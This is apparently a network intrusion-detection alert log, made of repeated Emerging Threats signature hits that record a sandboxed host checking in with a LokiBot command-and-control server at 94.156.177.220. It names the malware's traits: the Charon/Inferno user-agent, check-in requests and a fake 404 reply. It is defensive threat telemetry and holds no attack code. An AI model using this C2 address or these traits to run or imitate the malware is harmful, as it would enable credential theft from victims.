2024-10-30T07:54:16.571399+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:16.576967+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49205	TCP
2024-10-30T07:54:16.894512+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:16.894512+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:16.894512+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:17.854785+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:17.854785+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:17.860537+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49206	TCP
2024-10-30T07:54:18.011948+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:18.011948+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:18.011948+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:19.013856+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:19.013856+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:19.019429+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49207	TCP
2024-10-30T07:54:19.450764+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:19.450764+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:19.450764+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:20.394945+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:20.394945+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:20.400716+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49208	TCP
2024-10-30T07:54:20.968954+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:20.968954+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:20.968954+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:21.946849+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:21.946849+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:21.952432+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49209	TCP
2024-10-30T07:54:22.267449+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:22.267449+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:22.267449+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:23.266496+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:23.266496+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:23.272205+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49210	TCP
2024-10-30T07:54:23.906512+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:23.906512+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:23.906512+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:24.857583+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:24.857583+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:24.863594+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49211	TCP
2024-10-30T07:54:25.024863+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:25.024863+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:25.024863+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:25.983435+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:25.983435+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:25.989592+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49212	TCP
2024-10-30T07:54:26.262724+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:26.262724+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:26.262724+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:27.211983+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:27.211983+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:27.218033+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49213	TCP
2024-10-30T07:54:27.352626+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:27.352626+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:27.352626+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:28.301473+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:28.301473+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:28.307250+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49214	TCP
2024-10-30T07:54:28.450793+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:28.450793+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:28.450793+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:29.421348+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:29.421348+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:29.432406+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49215	TCP
2024-10-30T07:54:30.003997+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:30.003997+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:30.003997+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:30.992521+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:30.992521+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:30.998235+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49216	TCP
2024-10-30T07:54:31.512150+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:31.512150+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:31.512150+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:32.463838+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:32.463838+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:32.469592+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49217	TCP
2024-10-30T07:54:32.777147+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:32.777147+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:32.777147+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:33.733981+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:33.733981+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:33.741488+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49218	TCP
2024-10-30T07:54:33.910258+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:33.910258+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:33.910258+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:34.864691+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:34.864691+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:34.870291+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49219	TCP
2024-10-30T07:54:35.104496+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:35.104496+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:35.104496+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:36.062787+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:36.062787+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:36.068361+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49220	TCP
2024-10-30T07:54:36.241427+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:36.241427+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:36.241427+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:37.198254+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:37.198254+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:37.203749+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49221	TCP
2024-10-30T07:54:37.380092+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:37.380092+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:37.380092+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:38.366247+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:38.366247+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:38.371974+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49222	TCP
2024-10-30T07:54:38.504154+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:38.504154+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:38.504154+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:39.625166+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:39.625166+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:39.630870+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49223	TCP
2024-10-30T07:54:39.768035+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:39.768035+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:39.768035+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:40.726653+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:40.726653+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:40.732114+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49224	TCP
2024-10-30T07:54:41.819719+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.825536+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49225	TCP
2024-10-30T07:54:41.970510+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:41.970510+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:41.970510+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:42.947069+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:42.947069+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:42.954129+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49226	TCP
2024-10-30T07:54:43.092820+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:43.092820+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:43.092820+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:44.296491+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:44.296491+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:44.296798+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49227	TCP
2024-10-30T07:54:44.866333+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:44.866333+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:44.866333+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:45.815255+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:45.815255+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:45.820988+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49228	TCP
2024-10-30T07:54:45.965599+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:45.965599+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:45.965599+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:46.916793+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:46.916793+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:46.923091+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49229	TCP
2024-10-30T07:54:47.068516+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:47.068516+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:47.068516+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:48.348414+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:48.348414+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:48.348794+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49230	TCP
2024-10-30T07:54:48.492840+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:48.492840+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:48.492840+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:49.456059+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:49.456059+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:49.461630+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49231	TCP
2024-10-30T07:54:49.597654+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:49.597654+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:49.597654+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:50.561172+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:50.561172+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:50.566831+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49232	TCP
2024-10-30T07:54:50.712548+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:50.712548+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:50.712548+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:51.680376+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:51.680376+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:51.686328+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49233	TCP
2024-10-30T07:54:51.830442+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:51.830442+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:51.830442+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:52.807099+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:52.807099+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:52.814650+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49234	TCP
2024-10-30T07:54:53.132501+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:53.132501+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:53.132501+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:54.096219+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:54.096219+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:54.101987+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49235	TCP
2024-10-30T07:54:54.482154+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:54.482154+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:54.482154+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:55.452783+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:55.452783+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:55.458410+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49236	TCP
2024-10-30T07:54:55.615666+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:55.615666+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:55.615666+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:56.572761+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:56.572761+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:56.578488+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49237	TCP
2024-10-30T07:54:56.734017+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:56.734017+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:56.734017+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:57.691637+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:57.691637+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:57.697327+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49238	TCP
2024-10-30T07:54:58.050613+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:58.050613+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:58.050613+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49239	94.156.177.220	80	TCP
